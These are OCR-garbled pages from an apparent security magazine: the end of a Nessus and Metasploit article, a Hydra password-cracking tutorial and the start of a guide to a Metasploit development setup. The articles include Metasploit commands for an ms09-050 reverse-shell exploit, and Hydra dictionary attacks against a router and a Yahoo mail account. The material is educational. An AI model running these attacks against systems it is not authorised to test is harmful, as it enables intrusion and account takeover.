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Figure 16. Plugins list
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Figure 17. Policy preferences
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detecting missing patches in Windows (and Win-
dow’ applications). With Nessus, it is possible to
connect credential scan with a patching software
for detecting missing patches only between ap-
proved patches (Figure 16).

If needed, it is possible to give adsi settings to
Nessus. | can setup the Domain Controller ad-
dress, usernames, domain names, and passwords
(Figure 17 and Figure 18).

After running a new test, | can see a big differ-
ence between this scan and the previous. Now |
can see the vulnerability exposed to external and
with remote exploits, but also vulnerabilities with
local exploits, not only for operating system miss-
ing patch, but also for missing patch of a lot of
common windows applications like Java, Acrobat,
and others (Figure 19).

Z Edit Template =

Update Tempiats

Figure 18. Editing a template

l::f Scansione Autenticala
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Hosts Summary
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Figure 19. Results of the repeated scan
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Figure 20. New vulnerabilities found on the Windows 7
machine
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Apparently,theworstmachineis 192.168.254.204,
but | think something went wrong. In my expecta-
tions, the Windows 7 machine must be vulnerable.
Why didn’t Nessus tell me that? (Figure 20)

For scanning the Windows 7 machine, Nessus
needs some tricks, particularly because the re-
mote registry service for default is manual. If you
want to aggressively test the Windows 7 machine,
you must prepare a policy or batch procedure for
starting this service. Nessus can do that for you
but | don’t like this approach very much. | prefer to
set my services myself and stop it after doing the
test. The second issue is the need to open port
445 tcp (and/or 139 tcp). The concept is the same
as previously stated — you must create a process
to turn this setting on or off on demand (Figure 21).

After setting up my new configuration, | scan my host
with nmap for verifying the opened port (Figure 22).

OK, it seems to run well. Let’s try again. Now,
| will scan only my client machine (Figure 23).

Gotcha. We can see that the situation is pretty
different — a lot of new vulnerabilities will appear
in my Windows 7 machine, not only related to the
operating system, but as you can see, related to
Oracle, Java, or Acrobat Reader. | think this is very

K2CCOMa EVENT ¥Wl... 1l SEVIZIO CO...
Redirector porta U... Consenteil ...

Registro di sistem... Abilita gli ut.. Awviato Manuale
Ronictrnacantidi Il condzinng  Madat

wianuale
Manuale

My o a8

—omputer ¢ Disco locale (C:) » - | 4 Il cerca Disco tacate

MNuova cartella

Masterizza

L Apri Includi nclla raccolta = Condividi con ~
MNome

4. Nuova cartella

¢ Peilloys

1t . Programmi

Figure 21. Remote registry service for default showing as
manual
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Figure 23. Scanning the client machine again
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interesting because the process of patching oper-
ating system and the tools for verify the correct-
ness of patch process is well known (Figure 24).

But tools and the process of patching the appli-
cation are not so common. For this, Nessus (or
other similar tools) are, IMHO, needed in vulner-
abilities management process.

Exploiting vulns
To end our test, we try to exploit one of the vul-
nerabilities identified above, specifically the ms09-

T T

[ N —

Figure 24. New vulnerabilities found on the Windows 7
machine

oit/metasploit-fran

Figure 26. Checking the correct use of parameters
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Figure 27. Running exploit -j

050. To do this, we can use Metasploit framework.
Normally | use git to manage my installation of
Metasploit: | jump in my Metasploit directory and
run msfconsole (Figure 25).

The setup of this attack is pretty simple:

use exploit/windows/smb/ms09 050 smb2 negotiate
func index (tab is your friend.)

set PAYLOAD windows/meterpreter/reverse tcp

setg LHOST 192.168.254.1

set RHOST 192.168.254.204

If you want to check the correct use of parame-
ters, you can use “show options” (Figure 26).

After that, you can run your exploit using exploit —j,
the exploit runs in few seconds, and if all goes well,
your meterpreter session will appear (Figure 27).

Game Over.

Conclusions

In this article, we started with some theoretical
thought, jumping directly in the field verifying with
some tools if the situation of our host is correct or
not. | think that is the key to ethical hacking. In my
opinion, ethical hacking is not prittle-prattles but
manual work, not only theory but “physical” dem-
onstration. | don’t say “I think you are vulnerable”
but “you are vulnerable because | have exploited
this vuln.” And last but not least, the process of
ethical hacking doesn’t end with exploiting the ma-
chine, but after presentation of a report and after
briefing for remediation. Yes, that isn’t so fun but
the last key is remediation plan.

GUGLIELMO SCAIOLA

| work as an I.T. Pro since 1987, | am a
freelance consultant, pentester and train-
er, | work especially in banking environ-
ment. Over the years | have achieved sev-
eral certifications, including: MCT, MC-
SA, MCSE, Security +, Lead Auditor ISO 27001, ITIL, eCPPT, CEl,
CHFI, CEH and ECSA. In 2011, | was awarded the "Ec-Council
Instructor — Circle of Excellence.” | can be contacted at sOft-
war@miproparma.com.
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Using Hydra To Crack
The Door Open

Take advantage of a cracking tool to test the resilience of
your local or remote network servers and various other
devices from a computer to router on the network.

computing systems to more intricate indus-

trial systems with biometric locks or weap-
ons like quantum computing which will come into
play in the future.

The more important the data is, the tighter the locks
must be. The security countermeasures can range
from simple to more elaborate as we climb the ladder
of importance of the information to be protected. A
chain is as only as strong as its weakest link.

If the password of the administrator’s is not secure
enough, then the attacker may use privilege esca-
lation to get to the data, thwarting any attempt to
keep them from the myriads of attackers who seek
to gain direct access to them. If upfront, we keep the
front door heavily fortified then the malicious persons
will go to the next available building to try their luck.
Hence, the password strength of your local network
access or network devices or even remote serv-
ers and other devices is a critical step to prevent at-
tacks. Below highlight some of the rules to achieving
e strong passwords. Basic password creation rules:

T he complexity of security range from basic

* A minimum password length of 12 to 18 char-
acters.

* Include numbers, upper and lower case com-
binations as well as symbols, if the system al-
lows it.

» HAaRIMNG
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* Avoid names or important personal information
that someone else also knows, e.g. your fa-
ther’'s name or your date of birth.

» Use password generator (where feasible).

» Store them in special applications with mas-
ter password set and not using post-it notes
or hand written information hidden at your
desk.

» Change any default passwords.

» Make intentional typos which only you know.

* Do not use the same password for all your sys-
tems.

» Change your password frequently.

So, now you know the rules. But how do you en-
sure that your passwords are strong enough and
not too complicated to remember? How can you
evaluate the strength of your password? You can
use tools, in Backtrack to test your password re-
silience.

Installing Backtrack on VirtualBox
There are three ways to operate Backtrack.

+ Install it to your computer.

* Run it through a live CD

* |Install it on a virtual environment like Virtual-
Box or Vmware.
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| am going to demonstrate how to work with Back-
track installation in VirtualBox. In order to achieve
this, you have to download two components:

* latest VirtualBox version (can be found at
https://www.virtualbox.org/wiki/Downloads)

* Bactrack image to use for VirtualBox (can be
found at: http.//www.backtrack-linux.org/down-
loads/)

Once you have all the above, you can begin the
installation of VirtualBox. Do keep two things in

© @ Create New Virtual Machine

Memory

Select the amount of base memory (RAM) in megabytes to
be allocated to the virtual machine.
@ The recommended base memory size is 384 MB.

Base Memory Size

1024 | MB

4 MB 2560 MB

™,

< Back Next > Cancel

Figure 1. Base memory size used in VirtualBox installation

2 @ Create New Virtual Disk

Virtual Disk Location and Size

Press the Select button to select the location of a file to
store the hard disk data or type a file name in the entry field.

Location
Backtrack [

Select the size of the virtual hard disk in megabytes. This
size will be reported to the Guest 0S as the maximum size
# of this hard disk.

Size
12.71 GB

4.00 MD 2.00TD

<Back || Next> | | Cancel |

Figure 2. Hard disk size used in VirtualBox installation

* Installation Complete

P

Installation has finished. You can continue testing
Ubuntu now, but until you restart the computer, any
changes you make or documents you save will not be
preserved.

| Continue Testing | | Restart Now |

Figure 3. Installation completion message from Backtrack
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Using Hydra To Crack The Door Open

mind. Allow larger memory space and hard disk
to be allocated during installation, like you see in
the two above screenshots (Figures 1 and 2). |
use at least 1024 MB for memory and a hard disk
of larger than 10 GB of size. All other settings you
can leave to as default. Use the Backtrack .iso to
input in this VirtualBox instance and run it to com-
plete the installation process. One last thing, be
patient during final installation as you may see
the bar slowing at 99%.. Do not abort and you will
eventually see the following message: Figure 3.
The password tools in Backtrack are located in the
following path: Backtrack — Privilege Escalation —
Password attacks, as you can also see in Figure 4.
In our next example we will use nmap, also ex-
isting in Backtrack, which is an open tool for net-
work discovery and security auditing. Since this
article intent is not to demonstrate nmap usage,
| will only tell you that one of the most famous of
its features is port scanning. So, if you have a
computer or router or whichever device at a net-
work, you can use its IP address with nmap to

Sun Jun 23,

Figure 5. Using nmap to perform port scanning at
192.168.1.1 (router’s IP)
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see which ports are open on it. | have my router
at the local network with IP of 192.168.1.1 and |
want to run a port scan on it to see what the open
services are. So, | use the simple command: nmap
192.168.1.1. SO, a@s you can see in Figure 5, my
device has TCP ports 21, 23, 53, 80 and 5555
open. Nmap, in this mode, has scanned a total of
1,000 ports.

I will move on to introducing Hydra, which is a
well-known tool for dictionary attacks on various
devices (you can find it in sub-path Online Attacks
of the pre-mentioned Backtrack structure). Alterna-
tively, if you are using Windows, you can try down-
loading Cygwin and run the tools from there.In this
example, | will use Hydra to target my router in
order to perform a dictionary attack on the pass-
word. | will use dictionary.txt which | will populate
and increase the number of words as time goes by.
| have modified it for this demonstration puropse to
use 30 passwords. The parameters that Hydra ac-
cepts: Listing 1.

The command string to be used to attack the
router along with its arguments is as follow:

hydra -V -1 admin -P /root/Desktop/dictionary.txt
-t 36 -f -s 80 192.168.1.1 http-get /

So we are essentially telling Hydra to use the user-
name (which in this scenario will only be admin) and
password combination used every time (-v), with
username admin (as in most router cases but if we
want, another dictionary can be used here for user-
names), specifying the password file to be used (-),
we specify number of connections in parallel tasks
(-v), exiting after first successful crack (-¢), port to be
used is 80 (http port which is open as nmap showed
earlier), IP address of the router is 192.168.1.1 and
protocol is http-get (usually it is either get or post).
Notice the character / at the end of the line which
specifies to attempt to crack at the root page (it is
actually like saying try the login credentials at index.
html). The output we get is shown in Figure 6.

Listing 1. Hydra parameters of operation

Syntax: hydra
[-M FILE

service

[[[-1 LOGIN|-L FILE]
[-T TASKS]] [-w TIME] [-W TIME] [-f]
[OPT]] | [service://server[:PORT] [/OPT] ]

Options:

perform an SSL connect

[-p PASS|-P FILE]] |

restore a previous aborted/crashed session

[-C FILE]]
[-s PORT]

[-e nsr] [-o FILE] [-t TASKS]

[-x MIN:MAX:CHARSET] [-SuvV46] [server

PORT if the service is on a different default port, define it here
LOGIN or -L FILE
PASS
MIN:MAX:CHARSET password bruteforce generation, type “-x -h” to get help

login with LOGIN name, or load several logins from FILE
or -P FILE try password PASS, or load several passwords from FILE

A

nsr try “n” null password, “s” login as pass and/or “r” reversed login

loop around users, not passwords (effective! implied with -x)
FILE
FILE

FILE

colon separated “login:pass” format, instead of -L/-P options
server list for parallel attacks, one entry per line

write found login/password pairs to FILE instead of stdout
exit after the first found login/password pair (per host if -M)
(default: 16)

/ between connects per thread

TASKS run TASKS number of connects in parallel
/ -W TIME (32s)
/ -6 or IPv6 addresses
/ =V

waittime for responses
(default)
verbose mode / show logintpass combination for each attempt

prefer IPv4

service module usage details
(use either this OR the -M option)
the service to crack. Supported protocols: cisco cisco-enable

server the target server
service
cvs firebird ftp[s] http[s]-{head|get} http[s]-{get|post}-form http-proxy
http-proxy-urlenum icq imap irc ldap2 ldap3[-{cram|digest}md5] mssqgl mysql
ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3 postgres rdp
rexec rlogin rsh sip smb smtp smtp-enum snmp socks5 ssh svn teamspeak

telnet vmauthd vnc xmpp

<)
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Using Hydra To Crack The Door Open

From what you can see, the password search
wasn'’t really successful so the program just con-
cludes its execution. As already stated earlier, try
to have one basic principle at mind: The better va-
riety and size the original dictionary has, the better
the result will be. Let us try a different approach this
time by attacking the router’s ftp protocol, using the
command string that follows. This time, we tell Hy-
dra to try a null password and to use login creden-
tials as password in addition to what we did earlier.

hydra -V -1 admin -P /root/Desktop/dictionary.txt
-e ns -f -s 21 192.168.1.1 ftp

Figure 6. Output of attempt to crack the password of the
router at 192.168.1.1

Target | Passwords Tuning Specific  Start

Target
O Single Target 192.168.1.1 |
() Target List
[ Prefer IPVE
L3
Port 21 =
Pratocol frp v
Output Options
[ Use 55L ] Be Verbose

= Show Attempts O Debug

Figure 7. Hydra settings in target tab
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If you are not a command line addict, you can use
the GUI version of Hydra. For instance, checking
on the parameters will represent the same settings
as the above command line: Figure 7 and Figure 8.

If you want to change the task number you can
use the Tuning Tab and as you soon as you set ev-
erything go to the Start tab and begin the applica-
tion. After that you can save your output for future
inspection. For example, | have the below output
from my test:

[ATTEMPT] target 192.168.1.1 - login *admin® - pass "Anonymous” - child0- 1 of 5
[ATTEMPT] target 192.168.1.1 - login "admin” - pass "1123456!" - child1- 2 of 5
[ATTEMPT] target 192.168.1.1 - login “admin® - pass "user@yahoo.com® - child 2 - 3ol 5

[ATTEMPT] target 192.168.1.1 - login "admin” - pass "11234567" - child 0 - 4 of 5
[STATUSI attack finished for 192.168.1.1 (waitina for children to finish)

[ATTEMPT] targel 192.168.1.1 - login “admin® - pass "Anonymous” - child0- 1 of 5
[ATTEMPT] target 192.168.1.1 - login "admin” - pass "1123456!" - child 1- 2 of 5
[ATTEMPT] target 192.168.1.1 - login “admin® - pass “user@yahoo.com® - child 2 - 3ol 5

[ATTEMPT] target 192.168.1.1 - login "admin” - pass "!1234567" - child 0 - 4 of 5
[STATUSI attack finished for 192.168.1.1 (waitina for children to finish)

While the two additional lines at the end state:
[ATTEMPT] target 192.168.1.1 - login “admin” -
pass “entid752”
[ftp] host: 192.168.1.1 login: admin
password: entid752

[21]

And to verify that this is indeed true, | will ftp to
192.168.1.1 using “admin” as username and “en-
ti4752” as password.

Let's see one more example of using Hydra but
this time to crack yahoo mail accounts (same logic
applies to gmail or hotmail or all other mail serv-
ers). We use the following settings:

Simple target: smtp.mail.yahoo.com (Yahoo server)
Protocol:
Port: 465

Enable also:

smtp

SSL, verbose and show attempts.

Target Passwords Tuning Specific Start

Usemame
@ Usemame admin
_) Usemame List
Password
| ) Password |

© Password List t/Desktop/dictionary.txt

Figure 8. Hydra settings in passwords tab

root@root: —

Figure 9. Connecting through ftp to 192.168.1.1
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The name that we specify as target is the mail ac-
count that we are attempting to crack, so in my
example | put my account and | also specified a
dictionary for the attack, which is the same one
that | have been using throughout this presenta-
tion (Figure 10 and Figure 11).

If we choose now to start Hydra you will notice an
output like the one in Figure 12. | have shortened
the dictionary to limit the time to execute as well as
to shorten the output in order to focus at the result.

While an additional line at the end will state:

¥ xHydra

Targel passwords Tuning Specific Start
Target:

© [Single Target smtp.mail.yahoo.com
() Target List
[ Prefer IPV6 &
Port 65 |}
Protocol smtp v
QOutput Options
M Use 551 ® Be Verbose
i Show Attempts [] Debug

Figure 10. Hydra Target tab settings for cracking yahoo
passwords

Target Passwords | Tuning Specific Start
Usemame

| 0 Uscmame [}‘f‘l’ﬂﬂl]f?f]ﬂ :\@YF‘IHOO gr|

) Usemame List

Password

) Password

© Password List UDesktop/dictionary.tst

Colon separated file

0 Use Colon separated file

k

[ Try legin as password [ Try empty passwond

Figure 11. Hydra Passwords tab settings for cracking yahoo
passwords

Target Passwords Tuming Specific Start
Output

g nily for legal purposes.
L 2013-06-24 00:35:43
~2 tries per task

ws® - childd - 1ol &
1"« child1-20of &
5% "overridelgwled - child 2 - 3ol &

Figure 12. Attacking yahoo mail account and revealing the
password
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[25] host: 188.125.69.59 login:
zeroout2003@yahoo.gr password: backtrack

[smtp]

If | use the above credentials | will be able to suc-
cessfully login to my mail account using the stan-
dard web page at https://login.yahoo.com/.

Summary

The above article clearly shows how easy it is to
target a system. We have used nmap as a network
scanner, and the supporting protocols and func-
tions of Hydra.

As we already stated through the course of this
article, when dealing with dictionary attacks, the
tools are as strong as their internal dictionaries
and also the processing power that someone has
at his disposal in order to combine the dictionary
attack with proper brute force cracking capabil-
ity. There are also a lot of other tools in Backtrack
which include online and offline password cracking
such as rainbowcrack, John the Ripper, medusa,
ncrack and much more others that are worth dis-
secting in other articles.

For instance, John the Ripper has the ability to
crack password hashes, so if we get the hashed
contents of a password file, the application can
discover the initial plain text form through a variety
of hashed passwords. You will be amazed that ma-
ny people still use default passwords or just simple
words as passowrds.

Never underestimate how simple-minded users
or system administrators can be. | am sure you
can remember the old movie “Hackers”, the pass-
words referenced are: “love”, “secret’, “sex” and
“God”. You wouldn’t believe how many people use
these words as their passwords.

tifications). In the past four years he has

NIKOLAOS MITROPOULOS

Nikolaos Mitropoulos has been working

for over a year as a network security engi-

neer for AT&T's Managed Security Servic-

N es team. He is Cisco and Juniper certified

@l < | ™ (holding CCNA, JNCIA and JNCIS-SEC cer-

k é i focused in teaching at various education

' ~ levels varying from professor of second-

ary education level courses to demanding corporate classes

for professionals dealing in multiple aspects of the network-

ing and security fields. His hobbies are steganography, digital
watermarking and building penetration testing skills.

TBO 03/2013


https://login.yahoo.com/

UPDATE
NOWWITH

STIG

AUDITING

QeIN SOME CASES

fipper Studio

HAS VIR TUALLY

REMOVED
e NEED FOR -

MANUAL AUDIT 5o

CISCO SYSTEMS INC.

Titania’s award winning Nipper Studio configuration
auditing tool is helping security consultants and end-
user organizations worldwide improve their network
security. Its reports are more detailed than those typically
produced by scanners, enabling you to maintain a higher
level of vulnerability analysis in the intervals between
penetration tests.

Now used in over 45 countries, Nipper Studio provides a
thorough, fast & cost effective way to securely audit over
100 different types of network device. The NSA, FBI, DoD
& U.S. Treasury already use it, so why not try it for free at
www.titania.com

~a X

Cséﬂ1put|ng & Computln
ecuri ~ Security Products’ ecun
Awarcti¥ o ™ ) Awar
WINNER U\-/J WINNER

Enterprise Security :. L Network Security
Solution of the Year 2013 Government Security Awards Solution of the Year

www.titania.com




Backtrack Linux

How to Configure A Metasploit Development System?

Backtrack Linux has long since transcended the
classification of being a mere Linux Live CD. BT5R3 is a
full-fledged Linux distro, which is more then capable of
performing as a standalone workstation operating system.

s this feature-rich and dynamic platform
Agains increasing popularity in the Informa-
tion Security Industry, more and more indi-
viduals like myself turn to Backtrack for purposes
other than just performing penetration tests or se-
curity audits. As an avid user of Open Source soft-
ware | believe that it is important to contribute back
to the community whenever possible. Application
frameworks such as the Metasploit Framework
make their developmental suites readily accessi-
ble to the public in an effort to promote creative
growth and enhancement of their platforms. As
such, Backtrack Linux gives us the perfect oppor-
tunity to do just that, as it is an excellent candidate
for a development environment. This article details
the necessary steps to get off the ground and run-
ning full speed with Backtrack as a developmental
platform for the awesome Metasploit Framework.
Throughout the next few pages | will describe in
step-by-step fashion all of the proper settings to in-
stall and configure the tools that | find to be most
useful when building extensions to the already ex-
pansive Metasploit Framework. The following top-
ics will be covered: The Ruby Versioning Manager
(RVM), Git & The Github, Vim Basic Operations,
Vim Configuration & Plugins, The Anatomy of
a Metasploit Module, Navigating the Metasploit
Framework and submitting your module to the rap-
id7 dev team for merger into the framework.

The Ruby Versioning Manager (RVM)

In order to develop and extend functionality to the
MSF you will first need to have a working instal-
lation of the Ruby programming language. The
current release of Backtrack 5R3 at the time of
this publishing contains a working installation of
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Ruby 1.9.2, which will certainly get you started
with module development. Like other interpreted
languages however, such as Python (another fa-
vorite of mine) the Ruby language has many dif-
ferent versions, each offering slight differences in
performance and capability. It is precisely for this
reason that | recommend using the Ruby Version-
ing Manager. RVM allows you to install as ma-
ny versions of Ruby as you like and easily switch
back and forth between them. This functionality
becomes exceptionally useful when developing
with the added enhancement of Ruby Gems that
were configured to operate with one version of
Ruby but not another.

We won’t spend a whole lot of time on the Ru-
by language in this article as it is an entire topic
of it's own. For an in-depth deeper dive into the
Ruby language, Gems, coding conventions, the
differences between individual versions, and ma-
ny more topics. Here are some great links to ex-
ternal references that | strongly recommend you
check out if you are not already familiar with cod-
ing in Ruby.

* http:.//www.lynda.com/Ruby-tutorials/essential-
training/47905-2.html

* https://frvm.io/

* http://ruby-doc.org/

* http://www.ruby-lang.org/en/documentation/

Installing RVM is incredibly easy to do. In fact, it
takes only a single command. For a working in-
stallation of the latest RVM package enter the fol-
lowing into your favorite terminal.

$ \curl -L https://get.rvm.io | bash -s stable -ruby
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After the installer is finished you should have a
completely compiled installation of Ruby 1.9.3
as well as access to all of the great tools avail-
able inside RVM. RVM makes use of some en-
vironmental variables and user specific terminal
settings so you will want to re-source your cur-
rent terminal session by running the following
command.

$ source /etc/profile

Additionally, if your terminal is not configured to
allow login shell then you won’t be able to use
RVM as a command. Simply reload your bash
prompt with the -104in Option and you're all set.

$ /bin/bash -login

Throughout the course of your exciting new life
as a Metasploit Developer Extraordinaire, you will
likely find yourself at some point wanting to tip-
toe into the dark art of Ruby Gems. Ruby Gems
can be thought of as after-market extensions to
the already versatile core language libraries. RVM
makes installing the latest version of Ruby Gems
a piece of chocolate cake. Run the below com-
mand from your terminal window.

$ rvm rubygems latest

At this point, your Ruby Versioning Manager is
completely installed and you are ready to begin
coding up some nasty WMDs. If you would like
to explore some of the different Ruby versions,
just run the RVM help command for installation
instructions. RVM already setup the latest sta-
ble version of Ruby when you ran the install com-
mand. Specify it as your current default version
in order to bypass using the 1.9.2 interpreter that
ships with Backtrack and get ready to start writing
some code.

$ rvm use --default 1.9.3-p374

Installing Metasploit Using Git

Although Backtrack natively ships with the pack-
aged installation of Metasploit ready to use, prop-
er development requires you to checkout their Re-
pository from Github. Github is a wonderful tool
that provides a portal for software developers to
create, share and update code repositories while
keeping track of individual commits and maintain-
ing appropriate version control and branch man-
agement. It is also the currently accepted stan-
dard of the Rapid7 development team and the
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community recognized “right way” of contributing
to the Metasploit Framework. Before pulling down
the latest MSF repository it's probably a good
idea to first make sure you have all the proper
dependencies installed in your copy of Backtrack.
Although many of these packages come pre-in-
stalled | find that some of them require updating
to the latest version or are simply missing from a
fresh Backtrack system. Install them all with the
following command.

$ apt-get install -y build-essential zliblg
zliblg-dev libxml2 libxml2-dev libxslt-dev locate
libreadline6-dev libcurlé4-openssl-dev git-core
libssl-dev libyaml-dev openssl autoconf libtool
ncurses-dev bison curl wget postgresqgl
postgresqgl-contrib libaprl libaprutill libsvnl

Now that we’re cooking with grease we’re ready
to begin forking our own copy of Rapid7’s
Metasploit-framework code branch. Forking a re-
pository is Git speak for creating a new repository
within your own Github account that contains all
of the files and folders within the forked reposito-
ry of another Git account. To do this we’ll have to
first navigate to https.//www.github.com and sign-
up for a free account. Take some time to familiar-
ize yourself with the online Github user interface
as you'll be spending a great deal of time here,
as you begin to grow your own repositories and
contribute more to Metasploit and perhaps oth-
er Open Source projects as well. Once you are
ready to continue, navigate to the Rapid7 Github
page located at the following URL: https.//www.
github.com/rapid7. Select the Metasploit-frame-
work repository from their main landing page and
click on the Fork button. This will create an iden-
tical copy of the ‘Metasploit-framework’ repository
inside your own Github account that you can then
pull down to your local Backtrack system and be-
gin creating new modules inside of it. First though,
let’s create a -~/dev directory that we will use to
keep track of all of our repositories and code
branches. From inside the -/dev directory, you can
pU” down the wmetasploit-framework branch from
your Github account by issuing the git clone cOM-
mand followed by the full URL to the repository.
Those of you new to Git but familiar with Subver-
sion can think of git cione as being synonymous
with svn co.

$ mkdir dev

$ cd dev

$ git clone https://github.com/{your username}/
Metasploit-framework.git

HaHIN9 -


https://www.github.com
https://www.github.com/rapid7
https://www.github.com/rapid7

After that last command is finished running (it
may take some time depending on your connec-
tion speed) change into the metasploit-framework
directory on your Backtrack system and type ‘git
branch’ to see a list of the current branches in this
repository. You should see only one branch la-
beled *master. It is recommended that you don’t
make any changes to this branch as doing so
might have detrimental effects to your Metasploit-
framework repository. Let’s create a new branch
from which we will create our new Metasploit
module. We can call it something really snazzy
and original like testbranchi.

$ git checkout -b testbranchl

The checkout command allows you to switch
back and forth between code branches. By is-
suing the -b option we tell git to create a new
branch named testbranch1 and then check it out.
If we re-issue the git branch command, we now
see our second branch indicated by an = as it is
the currently checked out branch. Changes to
files within this branch will not affect the master
branch and vise-versa.

It is recommended by the Rapid7 Metasploit de-
velopers to create a separate branch for each file
you alter or create within the framework. This way,
when you have a finished module that you would
like to submit, you can issue what is called a ‘pull
request’. Once you've issued your pull request,
Rapid7’s dev team will be able to compare your
branch to their master branch and see that a single
file is different or new. This makes it much easier
for them to review your code and provide construc-
tive feedback to you if any parts do not align with
their coding standards.

Installing an IDE

Now that we’ve spent enough time configuring
our development platform, it's time to begin writ-
ing some code. In order to do this effectively it
is recommended that you install an Integrated
Development Environment or IDE for short. The
Internet is flooded with many different options
to choose from and | won’t claim to know which
option is “the best one.” | do however share the
opinion of many Metasploit developers that the
Open Source IDE “Vim” is an excellent option. It's
free to use and comes with an arsenal of features
that help speed up the developmental process.
Installing Vim inside of Backtrack takes only a sin-
gle command.

$ apt-get install vim-gnome
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As an additional option to the stock Vim instal-
lation, many developers make use of the Janus
suite of after-market Vim plugins and vimrc con-
figuration files, as they provide added functional-
ity to the IDE that can help speed up your cod-
ing process and enhance usability. Check out
the Janus Github page for a comprehensive list
of all the added features. To install the Janus pl-
ugins create a directory called ~/.vin if it doesn’t
already exist. Clone the Janus Github repository
into that directory.

$ git clone https://github.com/carlhuda/janus.git ~/.vim

Change into the ~/.vim directory and type ‘rake’.
Once rake is finished doing its thing, the Ja-
nus plugins are installed and ready for use. Let’s
fire up the Vim editor for the first time and use it
to make a slight configuration change to the de-
fault vimrc file that ships with Janus. The config-
uration change will tell Vim to automatically load
my favorite plugin, “NERDTree,” every time Vim
is launched. The NERDTree plugin provides a
handy little file system explorer to the left hand
side of your Vim editor that makes swapping back
and forth between files incredibly simple and ef-
ficient. The ability to do this is highly important
when editing files that are stored within a gigantic
directory structure, such as the Metasploit Frame-
work, which is made up of literally thousands of
different individual files and folders.

Change into the following directory, ~/.vim/janus/
vim and open up the vimrc file in the Vim editor
by typing vim vimrc. Page down to the bottom of
the document by pressing [Ctrl+d] a couple of
times. Because Vim starts off in command mode
you won'’t be able to edit the document right away.
Make sure to spend some time reading up on Vims
many great help files for learning about the differ-
ent modes and navigation commands. To enter in-
to INSERT mode and place the cursor at the end of
the last line in the document, press Shift+a. Press
enter to create a new line at the end of the docu-
ment and type in the following.

autocmd VimEnter * NERDTree

To save and exit the Vim editor you have to first
press the Esc key on your keyboard, this will bring
Vim out of INSERT mode and back into command
mode. Now you can simply type :wq. The semico-
lon tells vim that what comes next should be inter-
preted as a command. The wq stands for write and
quit which will save the changes to your document
and then exit the program. Once Vim is properly
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configured to launch NERDTree at startup we can
navigate to our Metasploit development directo-
ry and start browsing through the framework with
our newly powered IDE. Change into the base
Metasploit-framework directory from within your -~/
dev path and type vim. You should see something
that looks a bit like this: Figure 1.

The first thing to take notice of when presented
with this screen, is that things look a bit different
from when we previously opened up Vim to edit the
‘vimrc’ configuration file. Now we are seeing a dou-
ble pane window with our cursor stationed patient-
ly on the left-hand side pane. This is the NERD-
Tree pane. In order to switch over to the editing
pane you have to use a slightly whacky key com-
bination that will feel strange at first but eventually
grows on you and becomes second nature. Press
Ctrl+cw then release, and then quickly press the
right or left arrow key depending on which direc-
tion you want to go. The same combination works
for the up and down arrow keys when dealing with
vertical split pane views.

While inside of the NERDTree pane you can nav-
igate up and down an entire page at a time with
Ctrl+u and Ctrl+d or use the arrow keys to move
up and down one line at a time. You can expand
the contents of a sub directory by placing the cur-
sor over the folder name and pressing the ‘0’ key.
The enter key also works just fine if that is more
comfortable for you. NERDTree allows you to re-
cursively open up a directory and all subdirectories
within by using ‘O’ (capital o). Keep in mind if you
do this on a massive base directory like the root file
for the Metasploit Framework, you might find it dif-
ficult to navigate, as it is so large. Simply place the
cursor back over the base directory and press ‘X’
(capital x) to reclusively close all of the subdirecto-
ries if you ever find yourself in this situation.

If you continue to browse down the MSF file
structure and expand a couple of sub directories
you will notice the yellow directory at the top is
unchanged. This is the current working directo-
ry which you can verify by issuing the :pwa com-
mand. To change the current working directory,
simply place the cursor over the folder name that
you wish to move into and press [Shift+C]. Doing
so will cause the yellow line to display the newly
changed directory and also alters the path from
which vim will start searching files when we dis-
cuss bulk searches a little bit later.

You can move backwards through the file sys-
tem by arrowing up to the line that says (up a dir)
and pressing enter; additionally, you can achieve
the same effect just by pressing the 1 key. The
last thing | will mention about NERDTree is that
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you can open up a file for editing in a separate
tab by pressing ‘t’ instead of ‘0’. To open the file
in a separate tab in the background, you can use
‘T’ (capital t) instead. If you have multiple tabs
opened up, you can switch back and forth be-
tween them by using ‘gt’. To explore some of the
additional key commands for navigating around
the NERDTree, you can press the ‘?’ key which
offers a very handy help menu with lots of useful
information.

The anatomy of a Metasploit module

Now that we have become a little more comfort-
able moving around the Vim IDE, let’s open up
a real life Metasploit module and take a look at
some of the core components in order to famil-
iarize ourselves with the basic building blocks of
a module. Use NERDTree to navigate your Vim
editor to the modules/auxiliary/admin/smb directo-
ry, arrow down to the file called psexec command.
rb, and press enter to open it up in the current
editing pane on the right hand side. Let's have a
look at the top section of this code. We’ll break
this down into even smaller sections and go over

~‘ﬂ.-'-.;-|:-I.-:aticm--_: Places System [5] Thu Feb 7,12:16AM o [ &

* NERD_tree {/opt/metasploit/msf3) - VIM
File Edit View Terminal Help

/opt/metasploit/msf3 [No Name] Line:8/1[166%]Col:1Buf:#1[8][oxa]

Figure 2. Lines three through seventeen of ‘psexec_
command.rb’
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everything one at a time. Lines three through sev-
enteen should look like this: Figure 2.

Beginning on line three we have the opening re-
quire statement, which loads all of the core classes
and methods that makeup the Metasploit Frame-
work. Essentially this is everything sitting within the
lib/msf/core directory. The majority of the modules
you write will need this in order to function properly.

The next statement on line five creates a class
within the module called metaspioit3 which inherits
all of the functionality of the wsf::auxiliary class
symbolizing that this module is an Auxiliary mod-
ule as opposed to an exploit or post module for
example.

The helpful comment on line seven tells us that
lines eight through twelve are merely including
functionality from various mixins located within the
lib/msf/exploit and lib/msf/auxiliary directories.

Finally, in lines 14-17 we define a few aliases that
we can use later on in the module to save us from
the agony of having to type out their individual long
class names. Us programmers are extremely lazy!
The majority of the Metasploit modules that you
develop will start off looking very similar to what
we seen here.

At line 19 we can see the definition of a method
called ‘initialize’. Every module in the Metasploit
framework contains an initialize method. It gets
called when the module is loaded with the ‘use’
command and serves a couple of different pur-
poses. The first is that the initialize method con-
tains a datatype called a Hash, which provides
useful information about a module such as the
Author’s name, a description of what it does, ex-
ternal references, and the module’s title. This is
the information that is displayed to a user when
they type ‘info’ at the Metasploit prompt. Addition-
ally the initialize method is responsible for instan-
tiating variable names to the globally accessible
data store that your module will end up using
throughout execution. This is where you store
things like your RHOST, RPORT, and SMBUser.
If your module requires any other pre-execution
tasks, the initialize method is the place to put the
code (Figure 3).

The final crucial component of a Metasploit mod-
ule is the ‘run’ or ‘exploit’ method, which defines all
of the code that gets executed after a user types
run or exploit from the command line interface.
This is the driving force behind your module and
often contains most of the meat and potatoes as
far as code is concerned. You'll notice when look-
ing at this module that instead of a ‘run’ or ‘exploit’
method, it actually defines the main method as
